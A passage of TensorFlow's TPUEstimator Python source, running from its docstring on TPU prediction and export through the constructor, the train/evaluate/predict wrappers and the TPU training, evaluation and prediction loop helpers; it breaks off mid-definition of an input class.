model_fn(features, labels, mode, config, params): ... final_layer_output = ... if mode = tf.estimator.ModeKeys.EVAL: return tpu_estimator.TPUEstimatorSpec( mode=mode, loss=loss, eval_metrics=(metric_fn, { 'labels': labels, 'logits': final_layer_output, })) ``` Prediction ========== Prediction on TPU is an experimental feature to support large batch inference. It is not designed for latency-critical system. In addition, due to some usability issues, for prediction with small dataset, CPU `.predict`, i.e., creating a new `TPUEstimator` instance with `use_tpu=False`, might be more convenient. Note: In contrast to TPU training/evaluation, the `input_fn` for prediction *should* raise an end-of-input exception (`OutOfRangeError` or `StopIteration`), which serves as the stopping signal to `TPUEstimator`. To be precise, the ops created by `input_fn` produce one batch of the data. The `predict()` API processes one batch at a time. When reaching the end of the data source, an end-of-input exception should be raised by one of these operations. The user usually does not need to do this manually. As long as the dataset is not repeated forever, the `tf.data` API will raise an end-of-input exception automatically after the last batch has been produced. Note: Estimator.predict returns a Python generator. Please consume all the data from the generator so that TPUEstimator can shutdown the TPU system properly for user. Current limitations: -------------------- 1. TPU prediction only works on a single host (one TPU worker). 2. `input_fn` must return a `Dataset` instance rather than `features`. In fact, .train() and .evaluate() also support Dataset as return value. Example (MNIST): ---------------- ``` height = 32 width = 32 total_examples = 100 def predict_input_fn(params): batch_size = params['batch_size'] images = tf.random_uniform( [total_examples, height, width, 3], minval=-1, maxval=1) dataset = tf.data.Dataset.from_tensor_slices(images) dataset = dataset.map(lambda images: {'image': images}) dataset = dataset.batch(batch_size) return dataset def model_fn(features, labels, params, mode): # Generate predictions, called 'output', from features['image'] if mode == tf.estimator.ModeKeys.PREDICT: return tf.contrib.tpu.TPUEstimatorSpec( mode=mode, predictions={ 'predictions': output, 'is_padding': features['is_padding'] }) tpu_est = TPUEstimator( model_fn=model_fn, ..., predict_batch_size=16) # Fully consume the generator so that TPUEstimator can shutdown the TPU # system. for item in tpu_est.predict(input_fn=input_fn): # Filter out item if the `is_padding` is 1. # Process the 'predictions' ``` Exporting ========= `export_savedmodel` exports 2 metagraphs, one with `tag_constants.SERVING`, and another with `tag_constants.SERVING` and `tag_constants.TPU`. At serving time, these tags are used to select metagraph to load. Before running the graph on TPU, TPU system needs to be initialized. If TensorFlow Serving model-server is used, this is done automatically. If not, please call `session.run(tpu.initialize_system())`. `tpu.outside_compilation` can be used to wrap TPU incompatible ops in `model_fn`. Example: ---------------- ``` def model_fn(features, labels, mode, config, params): ... logits = ... export_outputs = { 'logits': export_output_lib.PredictOutput( {'logits': logits}) } def host_call(logits): class_ids = math_ops.argmax(logits) classes = string_ops.as_string(class_ids) export_outputs['classes'] = export_output_lib.ClassificationOutput(classes=classes) tpu.outside_compilation(host_call, logits) ... ``` """ def __init__(self, model_fn=None, model_dir=None, config=None, params=None, use_tpu=True, train_batch_size=None, eval_batch_size=None, predict_batch_size=None, batch_axis=None, eval_on_tpu=True, export_to_tpu=True, warm_start_from=None): """Constructs an `TPUEstimator` instance. Args: model_fn: Model function as required by `Estimator` which returns EstimatorSpec or TPUEstimatorSpec. `training_hooks`, 'evaluation_hooks', and `prediction_hooks` must not capure any TPU Tensor inside the model_fn. model_dir: Directory to save model parameters, graph and etc. This can also be used to load checkpoints from the directory into a estimator to continue training a previously saved model. If `None`, the model_dir in `config` will be used if set. If both are set, they must be same. If both are `None`, a temporary directory will be used. config: An `tpu_config.RunConfig` configuration object. Cannot be `None`. params: An optional `dict` of hyper parameters that will be passed into `input_fn` and `model_fn`. Keys are names of parameters, values are basic python types. There are reserved keys for `TPUEstimator`, including 'batch_size'. use_tpu: A bool indicating whether TPU support is enabled. Currently, - TPU training and evaluation respect this bit, but eval_on_tpu can override execution of eval. See below. - Predict still happens on CPU. train_batch_size: An int representing the global training batch size. TPUEstimator transforms this global batch size to a per-shard batch size, as params['batch_size'], when calling `input_fn` and `model_fn`. Cannot be `None` if `use_tpu` is `True`. Must be divisible by total number of replicas. eval_batch_size: An int representing evaluation batch size. Must be divisible by total number of replicas. predict_batch_size: An int representing the prediction batch size. Must be divisible by total number of replicas. batch_axis: A python tuple of int values describing how each tensor produced by the Estimator `input_fn` should be split across the TPU compute shards. For example, if your input_fn produced (images, labels) where the images tensor is in `HWCN` format, your shard dimensions would be [3, 0], where 3 corresponds to the `N` dimension of your images Tensor, and 0 corresponds to the dimension along which to split the labels to match up with the corresponding images. If None is supplied, and per_host_input_for_training is True, batches will be sharded based on the major dimension. If tpu_config.per_host_input_for_training is False or `PER_HOST_V2`, batch_axis is ignored. eval_on_tpu: If False, evaluation runs on CPU or GPU. In this case, the model_fn must return `EstimatorSpec` when called with `mode` as `EVAL`. export_to_tpu: If True, `export_savedmodel()` exports a metagraph for serving on TPU besides the one on CPU. warm_start_from: Optional string filepath to a checkpoint or SavedModel to warm-start from, or a `tf.estimator.WarmStartSettings` object to fully configure warm-starting. If the string filepath is provided instead of a `WarmStartSettings`, then all variables are warm-started, and it is assumed that vocabularies and Tensor names are unchanged. Raises: ValueError: `params` has reserved keys already. """ if config is None or not isinstance(config, tpu_config.RunConfig): raise ValueError( '`config` must be provided with type `tpu_config.RunConfig`') if params is not None and any(k in params for k in _RESERVED_PARAMS_KEYS): raise ValueError('{} are reserved keys but existed in params {}.'.format( _RESERVED_PARAMS_KEYS, params)) if use_tpu: # Perform some very basic validations. More validations will be found in # _InternalTPUContext. if train_batch_size is None: raise ValueError('`train_batch_size` cannot be `None`') util_lib.check_positive_integer(train_batch_size, 'train_batch_size') if (config.tpu_config.per_host_input_for_training is tpu_config.InputPipelineConfig.PER_SHARD_V1 and config.tpu_config.num_cores_per_replica): raise ValueError( 'Model parallelism only supports per host input for training. ' 'Please adjust TPURunconfig.per_host_input_for_training.') if eval_batch_size is not None: util_lib.check_positive_integer(eval_batch_size, 'eval_batch_size') if predict_batch_size is not None: util_lib.check_positive_integer(predict_batch_size, 'predict_batch_size') # Verifies the model_fn signature according to Estimator framework. estimator_lib._verify_model_fn_args(model_fn, params) # pylint: disable=protected-access # We cannot store config and params in this constructor as parent # constructor might change them, such as assigning a temp dir for # config.model_dir. model_function = self._augment_model_fn(model_fn, batch_axis) # Overwrite log_step_count_steps to disable TensorLoggingHook and # StepCounterHook from being created in Estimator. TPUEstimator already # added equivalent hooks in _augment_model_fn above. self._log_every_n_steps = config.log_step_count_steps config = config.replace(log_step_count_steps=None) # Passing non-None params as wrapped model_fn has it. params = params or {} super(TPUEstimator, self).__init__( model_fn=model_function, model_dir=model_dir, config=config, params=params, warm_start_from=warm_start_from) self._iterations_per_training_loop = ( self._config.tpu_config.iterations_per_loop) # All properties passed to _InternalTPUContext are immutable. # pylint: disable=protected-access self._ctx = tpu_context._get_tpu_context( self._config, train_batch_size, eval_batch_size, predict_batch_size, use_tpu, eval_on_tpu) self._export_to_tpu = export_to_tpu self._is_input_fn_invoked = None self._rendezvous = {} def _add_meta_graph_for_mode(self, builder, input_receiver_fn_map, checkpoint_path, strip_default_attrs, save_variables=True, mode=model_fn_lib.ModeKeys.PREDICT, export_tags=None, check_variables=True): if self._export_to_tpu and mode != model_fn_lib.ModeKeys.PREDICT: raise NotImplementedError( 'TPUEstimator only handles mode PREDICT for exporting ' 'when `export_to_tpu` is `True`; ' 'got {}.'.format(mode)) (super(TPUEstimator, self)._add_meta_graph_for_mode( builder, input_receiver_fn_map, checkpoint_path, strip_default_attrs, save_variables, mode=mode, export_tags=export_tags, check_variables=check_variables)) if self._export_to_tpu: input_receiver_fn_map = { _REWRITE_FOR_INFERENCE_MODE: input_receiver_fn_map[mode] } export_tags = [tag_constants.SERVING, tag_constants.TPU] mode = _REWRITE_FOR_INFERENCE_MODE # See b/110052256 for why `check_variables` is `False`. (super(TPUEstimator, self)._add_meta_graph_for_mode( builder, input_receiver_fn_map, checkpoint_path, strip_default_attrs, save_variables=False, mode=mode, export_tags=export_tags, check_variables=False)) def _call_model_fn(self, features, labels, mode, config): if mode == _REWRITE_FOR_INFERENCE_MODE: return self._call_model_fn_for_inference(features, labels, mode, config) else: return super(TPUEstimator, self)._call_model_fn(features, labels, mode, config) def _call_model_fn_for_inference(self, features, labels, mode, config): """Wraps `_call_model_fn` for `export_savedmodel`.""" if mode != _REWRITE_FOR_INFERENCE_MODE: raise ValueError('mode must be {}; ' 'got {}.'.format(_REWRITE_FOR_INFERENCE_MODE, mode)) capture = _CapturedObject() def computation(): """Compute tpu tensors used in export_outputs. Passed to rewrite_for_inference so that model_fn will be called under the rewriting contexts. Only tpu tensors are returned, but export_outputs and scaffold are captured. Returns: A list of Tensors used in export_outputs and not marked for outside_compilation. """ # We should only call model fn once and it should be inside `computation` # so that building the graph will happen under `rewrite_for_inference`. mode = model_fn_lib.ModeKeys.PREDICT estimator_spec = self._call_model_fn(features, labels, mode, config) # We pick the TPU tensors out from `export_output` and later return them # from `computation` for rewriting. tensors_dict = collections.OrderedDict( (k, _export_output_to_tensors(v)) for k, v in six.iteritems(estimator_spec.export_outputs)) tensors = nest.flatten(tensors_dict) tpu_tensors = [t for t in tensors if _is_tpu_tensor(t)] # We cannot return anything other than `tpu_tensors` here so we capture # the rest for later use. capture.capture((estimator_spec, tensors_dict, tensors)) return tpu_tensors tpu_tensors_on_cpu = tpu.rewrite_for_inference(computation) estimator_spec, tensors_dict, tensors = capture.get() # Reconstruct `tensors`, but with `tpu_tensors` replaced with # `tpu_tensors_on_cpu`. new_tensors = [] for t in tensors: if _is_tpu_tensor(t): new_tensors.append(tpu_tensors_on_cpu.pop(0)) elif t is None: new_tensors.append(None) else: # Only fetching `tpu_tensors_on_cpu` does not trigger # TPU computation and blocks, so we add the control dependency here. control_inputs = ( tpu_tensors_on_cpu if isinstance(tpu_tensors_on_cpu, (list, tuple)) else (tpu_tensors_on_cpu,)) with ops.control_dependencies(control_inputs): new_tensors.append(array_ops.identity(t)) # Reconstruct `tensors_dict`. new_tensors_dict = nest.pack_sequence_as(tensors_dict, new_tensors) # Reconstruct `export_outputs`. export_outputs = estimator_spec.export_outputs new_export_outputs = collections.OrderedDict( (k, _clone_export_output_with_tensors(export_outputs[k], v)) for k, v in six.iteritems(new_tensors_dict)) return estimator_spec._replace(export_outputs=new_export_outputs) def _create_global_step(self, graph): """Creates a global step suitable for TPUs. Args: graph: The graph in which to create the global step. Returns: A global step `Tensor`. Raises: ValueError: if the global step tensor is already defined. """ return _create_global_step(graph) def _convert_train_steps_to_hooks(self, steps, max_steps): with self._ctx.with_mode(model_fn_lib.ModeKeys.TRAIN) as ctx: if ctx.is_running_on_cpu(): return super(TPUEstimator, self)._convert_train_steps_to_hooks( steps, max_steps) # On TPU. if steps is None and max_steps is None: raise ValueError( 'For TPU training, one of `steps` or `max_steps` must be set. ' 'Cannot be both `None`.') # Estimator.train has explicit positiveness check. if steps is not None: util_lib.check_positive_integer(steps, 'Train steps') if max_steps is not None: util_lib.check_positive_integer(max_steps, 'Train max_steps') return [ _TPUStopAtStepHook(self._iterations_per_training_loop, steps, max_steps) ] def _convert_eval_steps_to_hooks(self, steps): with self._ctx.with_mode(model_fn_lib.ModeKeys.EVAL) as ctx: if ctx.is_running_on_cpu(): return super(TPUEstimator, self)._convert_eval_steps_to_hooks(steps) if steps is None: raise ValueError('Evaluate `steps` must be set on TPU. Cannot be `None`.') util_lib.check_positive_integer(steps, 'Eval steps') return [ evaluation._StopAfterNEvalsHook( # pylint: disable=protected-access num_evals=steps), _SetEvalIterationsHook(steps) ] def _call_input_fn(self, input_fn, mode): """Calls the input function. Args: input_fn: The input function. mode: ModeKeys Returns: In TPU mode, returns an input_fn to be called later in model_fn. Otherwise, calls the input_fn and returns either fatures or (features, labels). Raises: ValueError: if input_fn takes invalid arguments or does not have `params`. """ input_fn_args = function_utils.fn_args(input_fn) config = self.config # a deep copy. kwargs = {} if 'params' in input_fn_args: kwargs['params'] = self.params # a deep copy. else: raise ValueError('input_fn ({}) does not include params argument, ' 'required by TPUEstimator to pass batch size as ' 'params["batch_size"]'.format(input_fn)) if 'config' in input_fn_args: kwargs['config'] = config if 'mode' in input_fn_args: kwargs['mode'] = mode # Records the fact input_fn has been invoked. self._is_input_fn_invoked = True with self._ctx.with_mode(mode) as ctx: # Setting the batch size in params first. This helps user to have same # input_fn for use_tpu=True/False. batch_size_for_input_fn = ctx.batch_size_for_input_fn if batch_size_for_input_fn is not None: _add_item_to_params(kwargs['params'], _BATCH_SIZE_KEY, batch_size_for_input_fn) # For export_savedmodel, input_fn is never passed to Estimator. So, # `is_export_mode` must be False. if ctx.is_running_on_cpu(is_export_mode=False): with ops.device('/device:CPU:0'): return input_fn(**kwargs) # For TPU computation, input_fn should be invoked in a tf.while_loop for # performance. While constructing the tf.while_loop, the structure of # inputs returned by the `input_fn` needs to be recorded. The structure # includes whether features or labels is dict or single Tensor, dict keys, # tensor shapes, and dtypes. The recorded structure is used to create the # infeed dequeue ops, which must be wrapped and passed as a Fn, called # inside the TPU computation, as the TPU computation is wrapped inside a # tf.while_loop also. So, we either pass input_fn to model_fn or pass # dequeue_fn to model_fn. Here, `input_fn` is passed directly as # `features` in `model_fn` signature. def _input_fn(ctx): _add_item_to_params(kwargs['params'], _CTX_KEY, ctx) return input_fn(**kwargs) return _input_fn def _validate_features_in_predict_input(self, result): """Skip the validation. For TPUEstimator, we do not need to check the result type. `_InputPipeline` has stronger check. Parent class's check generates confusing warning msg. Args: result: `features` returned by input_fn. """ pass def train(self, input_fn, hooks=None, steps=None, max_steps=None, saving_listeners=None): rendezvous = error_handling.ErrorRendezvous(num_sources=3) self._rendezvous[model_fn_lib.ModeKeys.TRAIN] = rendezvous try: return super(TPUEstimator, self).train( input_fn=input_fn, hooks=hooks, steps=steps, max_steps=max_steps, saving_listeners=saving_listeners) except Exception: # pylint: disable=broad-except rendezvous.record_error('training_loop', sys.exc_info()) finally: rendezvous.record_done('training_loop') rendezvous.raise_errors() def evaluate(self, input_fn, steps=None, hooks=None, checkpoint_path=None, name=None): rendezvous = error_handling.ErrorRendezvous(num_sources=3) self._rendezvous[model_fn_lib.ModeKeys.EVAL] = rendezvous try: return super(TPUEstimator, self).evaluate( input_fn, steps=steps, hooks=hooks, checkpoint_path=checkpoint_path, name=name) except Exception: # pylint: disable=broad-except rendezvous.record_error('evaluation_loop', sys.exc_info()) finally: rendezvous.record_done('evaluation_loop') rendezvous.raise_errors() def predict(self, input_fn, predict_keys=None, hooks=None, checkpoint_path=None, yield_single_examples=True): rendezvous = error_handling.ErrorRendezvous(num_sources=3) self._rendezvous[model_fn_lib.ModeKeys.PREDICT] = rendezvous try: for result in super(TPUEstimator, self).predict( input_fn=input_fn, predict_keys=predict_keys, hooks=hooks, checkpoint_path=checkpoint_path, yield_single_examples=yield_single_examples): yield result except Exception: # pylint: disable=broad-except rendezvous.record_error('prediction_loop', sys.exc_info()) finally: rendezvous.record_done('prediction_loop') rendezvous.raise_errors() rendezvous.record_done('prediction_loop') rendezvous.raise_errors() def _augment_model_fn(self, model_fn, batch_axis): """Returns a new model_fn, which wraps the TPU support.""" def _model_fn(features, labels, mode, config, params): """A Estimator `model_fn` for TPUEstimator.""" with self._ctx.with_mode(mode) as ctx: model_fn_wrapper = _ModelFnWrapper(model_fn, config, params, ctx) # `input_fn` is called in `train()`, `evaluate()`, and `predict()`, # but not in `export_savedmodel()`. if self._is_input_fn_invoked: is_export_mode = False else: is_export_mode = True # Clear the bit. self._is_input_fn_invoked = None # examples_hook is added to training_hooks for both CPU and TPU # execution. if self._log_every_n_steps is not None: examples_hook = ExamplesPerSecondHook( ctx.global_batch_size, output_dir=self.model_dir, every_n_steps=self._log_every_n_steps) if ctx.is_running_on_cpu(is_export_mode=is_export_mode): logging.info('Running %s on CPU', mode) estimator_spec = model_fn_wrapper.call_without_tpu( features, labels, is_export_mode=is_export_mode) if self._log_every_n_steps is not None: estimator_spec = estimator_spec._replace( training_hooks=estimator_spec.training_hooks + (examples_hook,)) return estimator_spec assert labels is None, '`labels` passed to `model_fn` must be `None`.' # TPUEstimator._call_input_fn passes `input_fn` as features to here. assert callable(features), '`input_fn` is not callable.' input_fn = features input_holders = _InputPipeline(input_fn, batch_axis, ctx) enqueue_ops, dequeue_fn, input_hooks, run_infeed_loop_on_coordinator = ( input_holders.generate_infeed_enqueue_ops_and_dequeue_fn()) graph = ops.get_default_graph() for enqueue_op in enqueue_ops: if isinstance(enqueue_op, list): graph.get_collection_ref(_TPU_ENQUEUE_OPS).extend(enqueue_op) else: graph.add_to_collection(_TPU_ENQUEUE_OPS, enqueue_op) if mode == model_fn_lib.ModeKeys.TRAIN: loss, host_call, scaffold, training_hooks = ( _train_on_tpu_system(ctx, model_fn_wrapper, dequeue_fn)) host_ops = host_call.create_tpu_hostcall() if host_ops is None: host_ops = [] shutdown_hooks = [] shutdown_mode = os.environ.get('TF_TPU_GRACEFUL_SHUTDOWN_MODE', 'shutdown_worker') if shutdown_mode: if shutdown_mode == 'shutdown_worker': finalizer_hooks = [ session_support.ShutdownLameWorkers(timeout_ms=60 * 1000), ] elif shutdown_mode == 'shutdown_computation': finalizer_hooks = [ session_support.RestartComputation(timeout_ms=60 * 1000), ] else: raise ValueError( 'Unknown TF_TPU_GRACEFUL_SHUTDOWN_MODE "%s"' % shutdown_mode) shutdown_hooks.append( session_support.GracefulShutdownHook( checkpoint_prefix=self.model_dir + '/model.ckpt', on_shutdown_hooks=finalizer_hooks)) with ops.control_dependencies([loss]): global_step = array_ops.identity(training.get_global_step()) hooks = input_hooks + shutdown_hooks hooks.extend([ TPUInfeedOutfeedSessionHook( ctx, enqueue_ops, host_ops, run_infeed_loop_on_coordinator=( run_infeed_loop_on_coordinator), rendezvous=self._rendezvous[mode], ), InstallSignalHandlerHook() ]) if self._log_every_n_steps is not None: logging_hook_frequency = ( # Divide and round up (self._log_every_n_steps + self._config.tpu_config.iterations_per_loop - 1) // self._config.tpu_config.iterations_per_loop) hooks.append( training.LoggingTensorHook({ 'loss': array_ops.identity(loss), 'step': global_step, }, every_n_iter=logging_hook_frequency)) examples_hook._set_steps_per_run( # pylint: disable=protected-access self._config.tpu_config.iterations_per_loop) hooks.append(examples_hook) if training_hooks: hooks.extend(training_hooks) chief_hooks = [] if (self._config.save_checkpoints_secs or self._config.save_checkpoints_steps): checkpoint_hook = training.CheckpointSaverHook( self.model_dir, save_secs=self._config.save_checkpoints_secs, save_steps=self._config.save_checkpoints_steps, scaffold=scaffold) checkpoint_hook._set_steps_per_run( # pylint: disable=protected-access self._config.tpu_config.iterations_per_loop) chief_hooks.append(checkpoint_hook) summary.scalar(model_fn_lib.LOSS_METRIC_KEY, loss) with ops.control_dependencies([loss]): update_ops = _sync_variables_ops(ctx) # Validate the TPU training graph to catch basic errors _validate_tpu_training_graph() train_op = control_flow_ops.group(*update_ops) graph.add_to_collection(_TPU_TRAIN_OP, train_op) return model_fn_lib.EstimatorSpec( mode, loss=loss, training_chief_hooks=chief_hooks, training_hooks=hooks, train_op=train_op, scaffold=scaffold) if mode == model_fn_lib.ModeKeys.EVAL: total_loss, host_calls, scaffold, eval_hooks = _eval_on_tpu_system( ctx, model_fn_wrapper, dequeue_fn) iterations_per_loop_var = _create_or_get_iterations_per_loop() mean_loss = math_ops.div( total_loss, math_ops.cast(iterations_per_loop_var, dtype=total_loss.dtype)) # Creates a dummy metric update_op for all metrics. Estimator expects # all metrics in eval_metric_ops have update_op and calls them one by # one. The real metric update_ops are invoked in a separated thread. # So, here give Estimator the dummy op for all metrics. with ops.control_dependencies([mean_loss]): # After TPU evaluation computation is done (the mean_loss tensor), # reads all variables back from TPU and updates the eval step # counter properly internal_ops_to_run = _sync_variables_ops(ctx) internal_ops_to_run.append( _increase_eval_step_op(iterations_per_loop_var)) with ops.control_dependencies(internal_ops_to_run): dummy_update_op = control_flow_ops.no_op() host_call_ret = host_calls.create_tpu_hostcall() eval_metric_ops = {} eval_update_ops = [] for k, v in host_call_ret.get('eval_metrics', {}).items(): eval_metric_ops[k] = (v[0], dummy_update_op) eval_update_ops.append(v[1]) if 'host_call' not in host_call_ret: host_ops = [] else: host_ops = host_call_ret['host_call'] hooks = [ TPUInfeedOutfeedSessionHook( ctx, enqueue_ops, eval_update_ops + host_ops, run_infeed_loop_on_coordinator=( run_infeed_loop_on_coordinator), rendezvous=self._rendezvous[mode]), ] + input_hooks if eval_hooks: hooks.extend(eval_hooks) return model_fn_lib.EstimatorSpec( mode, loss=mean_loss, evaluation_hooks=hooks, eval_metric_ops=eval_metric_ops, scaffold=scaffold) # Predict assert mode == model_fn_lib.ModeKeys.PREDICT (dummy_predict_op, host_calls, scaffold, prediction_hooks) = _predict_on_tpu_system( ctx, model_fn_wrapper, dequeue_fn) with ops.control_dependencies([dummy_predict_op]): internal_ops_to_run = _sync_variables_ops(ctx) with ops.control_dependencies(internal_ops_to_run): dummy_predict_op = control_flow_ops.no_op() # In train and evaluation, the main TPU program is passed to monitored # training session to run. Infeed enqueue and outfeed dequeue are # executed in side threads. This is not the configuration for # prediction mode. # # For prediction, the Estimator executes the EstimatorSpec.predictions # directly and yield the element (via generator) to call site. So, the # outfeed based prediction must be passed to MonitoredSession directly. # Other parts of the TPU execution are organized as follows. # # 1. All outfeed based Tensors must be grouped with predictions Tensors # to form a single invocation. This avoid the issue we might trigger # multiple outfeeds incorrectly. To achieve this, `host_call` is # placed in control_dependencies of `stopping_signals`, and # `stopping_signals` is passed into _StoppingPredictHook, which sets # the `stopping_signals` as SessionRunArgs. MonitoredSession merges # all SessionRunArgs with the fetch in session.run together. # # 2. The TPU program (dummy_predict_op) and enqueue_ops (infeed Enqueue) # are grouped together. They will be launched once and only once in # side threads and they quit naturally according to the SAME stopping # condition. enqueue_ops.append(dummy_predict_op) host_call_ret = host_calls.create_tpu_hostcall() if 'host_call' not in host_call_ret: host_ops = [] else: host_ops = host_call_ret['host_call'] predictions = host_call_ret['predictions'] _verify_cross_hosts_transfer_size( predictions, message=( 'The estimated size for TPUEstimatorSpec.predictions is too ' 'large.')) signals = host_call_ret['signals'] with ops.control_dependencies(host_ops): host_ops = [] # Empty, we do do not need it anymore. scalar_stopping_signal = _StopSignals.as_scalar_stopping_signal( signals) predictions = _PaddingSignals.slice_tensor_or_dict( predictions, signals) hooks = [ _StoppingPredictHook(scalar_stopping_signal), TPUInfeedOutfeedSessionHookForPrediction( ctx, enqueue_ops, host_ops, rendezvous=self._rendezvous[mode]), ] + input_hooks if prediction_hooks: hooks.extend(prediction_hooks) return model_fn_lib.EstimatorSpec( mode, prediction_hooks=hooks, predictions=predictions, scaffold=scaffold) return _model_fn def _is_tpu_tensor(tensor): if not isinstance(tensor, ops.Tensor): return False try: tensor.op.get_attr(tpu._OUTSIDE_COMPILATION_ATTR) # pylint: disable=protected-access except ValueError: return True else: return False def _export_output_to_tensors(export_output): """Get a list of `Tensors` used in `export_output`. Args: export_output: an `ExportOutput` object such as `ClassificationOutput`, `RegressionOutput`, or `PredictOutput`. Returns: a list of tensors used in export_output. Raises: ValueError: if `export_output` is not one of `ClassificationOutput`, `RegressionOutput`, or `PredictOutput`. """ if isinstance(export_output, export_output_lib.ClassificationOutput): return [export_output.scores, export_output.classes] elif isinstance(export_output, export_output_lib.RegressionOutput): return [export_output.value] elif isinstance(export_output, export_output_lib.PredictOutput): return export_output.outputs.values() else: raise ValueError( '`export_output` must be have type `ClassificationOutput`, ' '`RegressionOutput`, or `PredictOutput`; got {}.'.format(export_output)) def _clone_export_output_with_tensors(export_output, tensors): """Clones `export_output` but with new `tensors`. Args: export_output: an `ExportOutput` object such as `ClassificationOutput`, `RegressionOutput`, or `PredictOutput`. tensors: a list of `Tensors` used to construct a new `export_output`. Returns: A dict similar to `export_output` but with `tensors`. Raises: ValueError: if `export_output` is not one of `ClassificationOutput`, `RegressionOutput`, or `PredictOutput`. """ if isinstance(export_output, export_output_lib.ClassificationOutput): if len(tensors) != 2: raise ValueError('tensors must be of length 2; ' 'got {}.'.format(len(tensors))) return export_output_lib.ClassificationOutput(*tensors) elif isinstance(export_output, export_output_lib.RegressionOutput): if len(tensors) != 1: raise ValueError('tensors must be of length 1; ' 'got {}'.format(len(tensors))) return export_output_lib.RegressionOutput(*tensors) elif isinstance(export_output, export_output_lib.PredictOutput): return export_output_lib.PredictOutput( dict(zip(export_output.outputs.keys(), tensors))) else: raise ValueError( '`export_output` must be have type `ClassificationOutput`, ' '`RegressionOutput`, or `PredictOutput`; got {}.'.format(export_output)) def _eval_on_tpu_system(ctx, model_fn_wrapper, dequeue_fn): """Executes `model_fn_wrapper` multiple times on all TPU shards.""" iterations_per_loop_var = _create_or_get_iterations_per_loop() (single_tpu_eval_step, host_calls, captured_scaffold_fn, captured_eval_hooks ) = model_fn_wrapper.convert_to_single_tpu_eval_step(dequeue_fn) def multi_tpu_eval_steps_on_single_shard(): return training_loop.repeat(iterations_per_loop_var, single_tpu_eval_step, [_ZERO_LOSS]) (loss,) = tpu.shard( multi_tpu_eval_steps_on_single_shard, inputs=[], num_shards=ctx.num_replicas, outputs_from_all_shards=False, device_assignment=ctx.device_assignment) scaffold = _get_scaffold(captured_scaffold_fn) return loss, host_calls, scaffold, captured_eval_hooks.get() def _train_on_tpu_system(ctx, model_fn_wrapper, dequeue_fn): """Executes `model_fn_wrapper` multiple times on all TPU shards.""" iterations_per_loop_var = _create_or_get_iterations_per_loop() (single_tpu_train_step, host_call, captured_scaffold_fn, captured_training_hooks) = ( model_fn_wrapper.convert_to_single_tpu_train_step(dequeue_fn)) def multi_tpu_train_steps_on_single_shard(): return training_loop.repeat(iterations_per_loop_var, single_tpu_train_step, [_INITIAL_LOSS]) (loss,) = tpu.shard( multi_tpu_train_steps_on_single_shard, inputs=[], num_shards=ctx.num_replicas, outputs_from_all_shards=False, device_assignment=ctx.device_assignment) scaffold = _get_scaffold(captured_scaffold_fn) return loss, host_call, scaffold, captured_training_hooks.get() def _predict_on_tpu_system(ctx, model_fn_wrapper, dequeue_fn): """Executes `model_fn_wrapper` multiple times on all TPU shards.""" (single_tpu_predict_step, host_calls, captured_scaffold_fn, captured_predict_hooks ) = model_fn_wrapper.convert_to_single_tpu_predict_step(dequeue_fn) def multi_tpu_predict_steps_on_single_shard(): def cond(scalar_stopping_signal): return math_ops.logical_not( _StopSignals.should_stop(scalar_stopping_signal)) inputs = [_StopSignals.NON_STOPPING_SIGNAL] outputs = training_loop.while_loop( cond, single_tpu_predict_step, inputs=inputs, name=b'loop') return outputs (dummy_predict_op,) = tpu.shard( multi_tpu_predict_steps_on_single_shard, inputs=[], num_shards=ctx.num_replicas, outputs_from_all_shards=False, device_assignment=ctx.device_assignment) scaffold = _get_scaffold(captured_scaffold_fn) return dummy_predict_op, host_calls, scaffold, captured_predict_hooks.get() def _wrap_computation_in_while_loop(device, op_fn): """Wraps the ops generated by `op_fn` in tf.while_loop.""" def computation(i): with ops.control_dependencies(op_fn()): return i + 1 iterations_per_loop_var = _create_or_get_iterations_per_loop() # By setting parallel_iterations=1, the parallel execution in while_loop is # basically turned off. with ops.device(device): iterations = array_ops.identity(iterations_per_loop_var) return control_flow_ops.while_loop( lambda i: i < iterations, computation, [constant_op.constant(0)], parallel_iterations=1) def _wrap_computation_in_while_loop_with_stopping_signals(device, op_fn): """Wraps the ops generated by `op_fn` in tf.while_loop.""" def cond(scalar_stopping_signal): return math_ops.logical_not( _StopSignals.should_stop(scalar_stopping_signal)) def computation(unused_scalar_stopping_signal): return_value = op_fn() execute_ops = return_value['ops'] signals = return_value['signals'] with ops.control_dependencies(execute_ops): return _StopSignals.as_scalar_stopping_signal(signals) # By setting parallel_iterations=1, the parallel execution in while_loop is # basically turned off. with ops.device(device): return control_flow_ops.while_loop( cond, computation, [_StopSignals.NON_STOPPING_SIGNAL], parallel_iterations=1) def _validate_tpu_training_graph(): """Validate graph before running distributed training. Raises: ValueError: If the graph seems invalid for running on device """ operations = ops.get_default_graph().get_operations() # Check if there is atleast one CrossReplicaSum operation in the graph # This should be introduced by using the CrossShardOptimizer wrapper cross_replica_sum_ops = [ o for o in operations if o.type == _CROSS_REPLICA_SUM_OP ] if not cross_replica_sum_ops: raise ValueError( 'CrossShardOptimizer must be used for model training on TPUs.') class _CapturedObject(object): """A placeholder to capture an object. This is useful when we need to capture a Python object in the Tensorflow control flow body function and use it outside the control flow. """ def __init__(self): self._object = None self._captured = False def capture(self, o): if self._captured: raise RuntimeError( 'InternalError: Object can capture only once. Please file bug.') self._captured = True self._object = o def get(self): if not self._captured: raise RuntimeError( 'InternalError: Object is not captured properly before `get`. ' 'Please file bug.') return self._object def _get_scaffold(captured_scaffold_fn): """Retrieves the Scaffold from `captured_scaffold_fn`.""" with _CapturingContext(message='Inside scaffold_fn'): scaffold_fn = captured_scaffold_fn.get() if scaffold_fn: scaffold = scaffold_fn() if scaffold is None: raise ValueError( 'TPUEstimatorSpec.scaffold_fn returns None, which is not allowed') else: scaffold = None if scaffold: wrapped_finalize = scaffold.finalize def _finalize(): with _CapturingContext('Inside Scaffold.finalize'): wrapped_finalize() scaffold.finalize = _finalize return scaffold class _CapturingContext(control_flow_ops.ControlFlowContext): """Tracks references to Tensors defined in TPU replication.""" def __init__(self, message): control_flow_ops.ControlFlowContext.__init__(self) self._message = message def AddOp(self, op): # pylint: disable=invalid-name for c in op.inputs: if tpu._TPU_REPLICATE_ATTR in c.op.node_def.attr: # pylint: disable=protected-access raise ValueError('{}: Op {} depends on TPU computation {}, ' 'which is not allowed.'.format(self._message, op, c)) def __enter__(self): # pylint: disable=protected-access self._g = ops.get_default_graph() self._old = self._g._get_control_flow_context() self._g._set_control_flow_context(self) # pylint: enable=protected-access def __exit__(self, _, __, ___): # pylint: disable=invalid-name self._g._set_control_flow_context(self._old) # pylint: disable=protected-access class _Inputs(object): """A data structure representing the input_fn returned values. This also supports the returned value from input_fn as `Dataset`. """ def __init__(self, features=None, labels=None, dataset=None, 